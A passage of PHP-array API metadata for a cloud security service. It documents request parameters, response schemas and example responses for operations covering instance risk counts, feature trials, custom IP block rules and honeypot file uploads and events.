the instance.'."\n", 'type' => 'string', 'example' => 'i-wz9fdluqx20mp2x7****', ], ], ], 'RiskNumEntity' => [ 'title' => '风险统计信息', 'description' => 'The statistics about the risks.'."\n", 'type' => 'object', 'properties' => [ 'VulHighCount' => [ 'title' => '高危漏洞个数', 'description' => 'The number of high-risk vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'VulMediumCount' => [ 'title' => '中危漏洞个数', 'description' => 'The number of medium-risk vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'VulLowCount' => [ 'title' => '低危漏洞个数', 'description' => 'The number of low-risk vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'WeakPassWordCount' => [ 'title' => '公网暴露的弱口令个数', 'description' => 'The number of weak passwords exposed on the Internet.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'SuspiciousHighCount' => [ 'title' => '高危告警个数', 'description' => 'The number of high-risk alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'SuspiciousMediumCount' => [ 'title' => '中危告警个数', 'description' => 'The number of medium-risk alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'SuspiciousLowCount' => [ 'title' => '低危告警个数', 'description' => 'The number of low-risk alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], ], ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '291B49F9-1685-4005-9D34-606B6F78****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstanceRiskNum\\": [\\n {\\n \\"InstanceItem\\": {\\n \\"Uuid\\": \\"f2d6e901-1004-4ca8-9dae-53ec04a9****\\",\\n \\"InstanceId\\": \\"i-wz9fdluqx20mp2x7****\\"\\n },\\n \\"RiskNumEntity\\": {\\n \\"VulHighCount\\": 1,\\n \\"VulMediumCount\\": 2,\\n \\"VulLowCount\\": 3,\\n \\"WeakPassWordCount\\": 4,\\n \\"SuspiciousHighCount\\": 5,\\n \\"SuspiciousMediumCount\\": 6,\\n \\"SuspiciousLowCount\\": 7\\n }\\n }\\n ],\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\"\\n}","type":"json"}]', 'title' => 'ListInstanceRiskNum', ], 'ListInstanceRiskLevels' => [ 'summary' => 'Queries the risk levels of instances.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'InstanceList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '实例列表', 'description' => 'The instances.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'title' => '实例SerialNumber', 'description' => 'The serial number of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', ], 'InstanceId' => [ 'title' => '实例ID', 'description' => 'The ID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-m5efigezp50l2cmb****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'InstanceRiskLevels' => [ 'description' => 'The risk levels of instances.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-m5efigezp50l2cmb****', ], 'Uuid' => [ 'description' => 'The UUID of the server for which you want to modify the defense rule. You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a92765', ], 'Level' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n" .'* **none**'."\n", 'type' => 'string', 'example' => 'high', ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstanceRiskLevels\\": [\\n {\\n \\"InstanceId\\": \\"i-m5efigezp50l2cmb****\\",\\n \\"Uuid\\": \\"f2d6e901-1004-4ca8-9dae-53ec04a92765\\",\\n \\"Level\\": \\"high\\"\\n }\\n ],\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\"\\n}","type":"json"}]', 'title' => 'ListInstanceRiskLevels', ], 'GetModuleTrialAuthInfo' => [ 'summary' => 'Queries the qualification information about the trial use of Security Center value-added features, including vulnerability fixing and threat analysis and response.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '196547', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [ [ 'name' => 'ModuleCode', 'in' => 'query', 'schema' => [ 'description' => 'The code of the feature. Valid values:'."\n" ."\n" .'* **vulFix**: vulnerability fixing.'."\n" .'* **cloudSiem**: threat analysis and response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vulFix', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'ModuleCode' => [ 'description' => 'The code of the feature. Valid values:'."\n" ."\n" .'* **vulFix**: vulnerability fixing.'."\n" .'* **cloudSiem**: threat analysis and response.'."\n", 'type' => 'string', 'example' => 'vulFix', ], 'CanTry' => [ 'description' => 'Indicates whether the user is qualified for the trial use. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'TrialRecordList' => [ 'description' => 'The trial use record.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The trial use record.'."\n", 'type' => 'object', 'properties' => [ 'ModuleCode' => [ 'description' => 'The code of the feature. Valid values:'."\n" ."\n" .'* **vulFix**: vulnerability fixing.'."\n" .'* **cloudSiem**: threat analysis and response.'."\n", 'type' => 'string', 'example' => 'vulFix', ], 'AuthLimit' => [ 'description' => 'The quota.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'GmtStart' => [ 'description' => 'The start time of the trial use.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1669824000000', ], 'GmtEnd' => [ 'description' => 'The end time of the trial use.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1679760000000', ], 'Status' => [ 'description' => 'The status of the trial use. Valid values:'."\n" ."\n" .'* **1**: The feature is in trial use.'."\n" .'* **0**: The trial use ends.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AuthLimitList' => [ 'description' => 'The list of quotas. This parameter is available if the value of the ModuleCode parameter is cloudSiem. The value of this parameter consists of the log storage capacity for the threat analysis and response feature and the log data to add. Units: GB and GB-day.'."\n", 'type' => 'string', 'example' => '[1,100]', ], ], ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ModuleCode\\": \\"vulFix\\",\\n \\"CanTry\\": true,\\n \\"TrialRecordList\\": [\\n {\\n \\"ModuleCode\\": \\"vulFix\\",\\n \\"AuthLimit\\": 100,\\n \\"GmtStart\\": 1669824000000,\\n \\"GmtEnd\\": 1679760000000,\\n \\"Status\\": 1,\\n \\"AuthLimitList\\": \\"[100,1]\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', 'title' => 'GetModuleTrialAuthInfo', ], 'AddSasModuleTrial' => [ 'summary' => 'Enables the trial use of Security Center value-added features, including vulnerability fixing and threat analysis and response.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '196548', 'abilityTreeNodes' => [ 'FEATUREsas8YMQ5V', ], ], 'parameters' => [ [ 'name' => 'ModuleCode', 'in' => 'query', 'schema' => [ 'description' => 'The code of the feature. Valid values:'."\n" ."\n" .'* **vulFix**: vulnerability fixing.'."\n" .'* **cloudSiem**: threat analysis and response.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vulFix', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TrialRecordList' => [ 'description' => 'The information about the trial use.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ModuleCode' => [ 'description' => 'The code of the feature. Valid values:'."\n" ."\n" .'* **vulFix**: vulnerability fixing.'."\n" .'* **cloudSiem**: threat analysis and response.'."\n", 'type' => 'string', 'example' => 'vulFix', ], 'AuthLimit' => [ 'description' => 'The quota.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '100', ], 'GmtStart' => [ 'description' => 'The start time of the trial use.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1667232000000', ], 'GmtEnd' => [ 'description' => 'The end time of the trial use.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1638201599999', ], 'Status' => [ 'description' => 'The status of the trial use. Valid values:'."\n" ."\n" .'* **1**: The feature is in trial use.'."\n" .'* **0**: The trial use ends.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AuthLimitList' => [ 'description' => 'The list of quotas. This parameter is available if the value of the ModuleCode parameter is cloudSiem. The value of this parameter consists of the log storage capacity for the threat analysis and response feature and the log data to add. Units: GB and GB-day.'."\n", 'type' => 'string', 'example' => '[1,100]', ], ], ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'WithoutTrialQualification', 'errorMessage' => 'Has no trial qualification.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TrialRecordList\\": [\\n {\\n \\"ModuleCode\\": \\"vulFix\\",\\n \\"AuthLimit\\": 100,\\n \\"GmtStart\\": 1667232000000,\\n \\"GmtEnd\\": 1638201599999,\\n \\"Status\\": 1,\\n \\"AuthLimitList\\": \\"[100,1]\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\"\\n}","type":"json"}]', 'title' => 'AddSasModuleTrial', ], 'EnableCustomInstanceBlockRecord' => [ 'summary' => 'Enables a custom rule for an instance.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => true, 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that you want to block.'."\n", 'type' => 'string', 'required' => true, 'example' => '192.168.xx.xx', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction from the IP address that you want to block. Valid value:'."\n" ."\n" .'* **in**'."\n" .'* **out**'."\n", 'type' => 'string', 'required' => false, 'example' => 'in', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\"\\n}","type":"json"}]', 'title' => 'EnableCustomInstanceBlockRecord', ], 'DescribeCustomBlockInstances' => [ 'summary' => 'Queries the list of servers on which the custom defense rule against brute-force attacks takes effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '8', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the rule is enabled for the server.'."\n" ."\n" .'* **2**: enabling failed'."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'BlockIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address that you want to specify in the rule.'."\n" ."\n" .'> You can call the [DescribeCustomBlockRecords](~~DescribeCustomBlockRecords~~) operation to obtain the IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '47.92.33.1xx', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Bound', 'in' => 'query', 'schema' => [ 'description' => 'The traffic direction that you want to specify in the custom rule. Valid values:'."\n" ."\n" .'* **in**: inbound'."\n" .'* **out**: outbound'."\n", 'type' => 'string', 'required' => false, 'example' => 'in', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D81DD78E-E006-5C65-A171-C8CB09XXXXX', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of servers to which the defense rule is applied.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '83', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'InstanceList' => [ 'description' => 'The server ID.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Indicates whether the rule is enabled for the server.'."\n" ."\n" .'* **2**: enabling failed'."\n" .'* **1**: enabled'."\n" .'* **0**: disabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '116.62.121.1xx', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.1.xx', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'myInstance', ], 'BlockType' => [ 'description' => 'The blocking type. Valid values:'."\n" ."\n" .'* **group**: security group'."\n" .'* **alinet**: host network extension'."\n", 'type' => 'string', 'example' => 'group', ], 'ErrorCode' => [ 'description' => 'The error code returned.'."\n", 'type' => 'string', 'example' => 'AliNetNotOnline', ], 'SuccessInfo' => [ 'description' => 'The information that is returned after brute-force attacks are blocked.'."\n", 'type' => 'string', 'example' => '{"aliUid":*******,"groupId":"sg-xxxx","groupName":"Sas_Malicious_Ip_Security_Group","groupType":"normal","instanceId":"i-xxxx","regionId":"cn-shenzhen","vpcId":"vpc-xxxxxxxx"}', ], 'AliNetOnline' => [ 'description' => 'The status of the host network extension. Valid values:'."\n" ."\n" .'* **true**: online'."\n" .'* **false**: offline'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB09XXXXX\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 83,\\n \\"Count\\": 10\\n },\\n \\"InstanceList\\": [\\n {\\n \\"Status\\": 1,\\n \\"Uuid\\": \\"f2d6e901-1004-4ca8-9dae-53ec04a9****\\",\\n \\"InternetIp\\": \\"116.62.121.1xx\\",\\n \\"IntranetIp\\": \\"192.168.1.xx\\",\\n \\"InstanceName\\": \\"myInstance\\",\\n \\"BlockType\\": \\"group\\",\\n \\"ErrorCode\\": \\"AliNetNotOnline\\",\\n \\"SuccessInfo\\": \\"{\\\\\\"aliUid\\\\\\":*******,\\\\\\"groupId\\\\\\":\\\\\\"sg-xxxx\\\\\\",\\\\\\"groupName\\\\\\":\\\\\\"Sas_Malicious_Ip_Security_Group\\\\\\",\\\\\\"groupType\\\\\\":\\\\\\"normal\\\\\\",\\\\\\"instanceId\\\\\\":\\\\\\"i-xxxx\\\\\\",\\\\\\"regionId\\\\\\":\\\\\\"cn-shenzhen\\\\\\",\\\\\\"vpcId\\\\\\":\\\\\\"vpc-xxxxxxxx\\\\\\"}\\",\\n \\"AliNetOnline\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeCustomBlockInstances', ], 'GetHoneyPotUploadPolicyInfo' => [ 'summary' => 'Obtains the URL that is used to upload a file to a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and the response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Accessid' => [ 'description' => 'The key ID that is required for the file upload.'."\n", 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'Policy' => [ 'description' => 'The limits that are imposed on the file upload. The limits include the file size.'."\n", 'type' => 'string', 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyMy0wOS0wMVQwMzoyNTozNS44MzZaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsMTA0ODU3NjAwXSxbInN0YXJ0cy13aXRoIiwiJGtleSIsIkhPTkVZUE9UX0ZJTEUvMTc2NjE4NTg5NDEwNDY3NV8xNjkzNTM4NDM1N*****************', ], 'Signature' => [ 'description' => 'The signature that is calculated based on **AccessKeySecret** and **Policy**. When you call an Object Storage Service (OSS) API operation, OSS uses the signature information to verify the POST request.'."\n", 'type' => 'string', 'example' => 'wKPqlFneNTZPn52k2Rz9GTY*****', ], 'Key' => [ 'description' => 'The full path of the file in OSS. The file is uploaded by calling the OSS PostObject operation.'."\n", 'type' => 'string', 'example' => 'HONEYPOT_FILE/1766185894104675_169********', ], 'Host' => [ 'description' => 'The request URL during the upload.'."\n", 'type' => 'string', 'example' => 'https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com', ], 'Expire' => [ 'description' => 'The expiration time of the URL. The value is a timestamp. You can use the value to determine whether the URL expires. If the expiration time arrives, you can no longer use the URL to upload files.'."\n", 'type' => 'string', 'example' => '1661443200000', ], 'SecurityToken' => [ 'description' => 'The security token.'."\n", 'type' => 'string', 'example' => '***', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8C177095-A734-59B2-9409-7D4F26FF****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Accessid\\": \\"yourAccessKeyID\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyMy0wOS0wMVQwMzoyNTozNS44MzZaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsMTA0ODU3NjAwXSxbInN0YXJ0cy13aXRoIiwiJGtleSIsIkhPTkVZUE9UX0ZJTEUvMTc2NjE4NTg5NDEwNDY3NV8xNjkzNTM4NDM1N*****************\\",\\n \\"Signature\\": \\"wKPqlFneNTZPn52k2Rz9GTY*****\\",\\n \\"Key\\": \\"HONEYPOT_FILE/1766185894104675_169********\\",\\n \\"Host\\": \\"https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com\\",\\n \\"Expire\\": \\"1661443200000\\",\\n \\"SecurityToken\\": \\"***\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"8C177095-A734-59B2-9409-7D4F26FF****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetHoneyPotUploadPolicyInfo', ], 'UploadedHoneyPotFile' => [ 'summary' => 'Uploads a honeypot file.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'FileKey', 'in' => 'query', 'schema' => [ 'title' => '文件key', 'description' => 'The file key that you use to upload the file.'."\n" ."\n" .'> The key is in the format of HONEYPOT_FILE/{Timestamp}\\_{Custom file name}.'."\n", 'type' => 'string', 'required' => true, 'example' => 'HONEYPOT_FILE/1601097845544644_********', ], ], [ 'name' => 'FileName', 'in' => 'query', 'schema' => [ 'title' => '文件名称', 'description' => 'The name of the file that you want to upload.'."\n", 'type' => 'string', 'required' => true, 'example' => 'trojan.zip', ], ], [ 'name' => 'FileType', 'in' => 'query', 'schema' => [ 'title' => '文件类型', 'description' => 'The file type.'."\n", 'type' => 'string', 'required' => true, 'example' => 'application/zip', ], ], [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐管理节点唯一ID', 'description' => 'The ID of the management node to which the honeypot belongs.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to obtain the IDs of management nodes. operation to query the management node ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc427e14-f257-4670-9d2b-d83bbbe*****', ], ], [ 'name' => 'TemplateExtra', 'in' => 'query', 'schema' => [ 'title' => '上传文件对应的模板提示', 'description' => 'The prompt template that corresponds to the file.'."\n", 'type' => 'string', 'required' => true, 'example' => '{\\"help\\":\\".zip\\",\\"label\\":\\"file\\",\\"type\\":\\"file\\",\\"key\\":\\"ftpfiles.zip\\"}', ], ], [ 'name' => 'HoneypotImageName', 'in' => 'query', 'schema' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the honeypot image.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ruoyi', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '427F89F8-6DFE-57CC-9593-3487CA93****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"427F89F8-6DFE-57CC-9593-3487CA93****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UploadedHoneyPotFile', ], 'ListHoneypotEventFlows' => [ 'summary' => 'Queries the details of an intrusion event in a honeypot.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '129271', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'title' => 'y: 已经处理 n: 未处理 a: 所有', 'description' => 'The status of the event. Valid values: y, n, and a. The value y indicates handled. The value n indicates unhandled. The value a indicates all.'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'SecurityEventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event. The ID of the management account of the ListHoneypotEvents resource directory.'."\n" ."\n" .'> You can call the [ListHoneypotEvents](~~ListHoneypotEvents~~) operation to query the IDs of alert events.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '7455818', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter 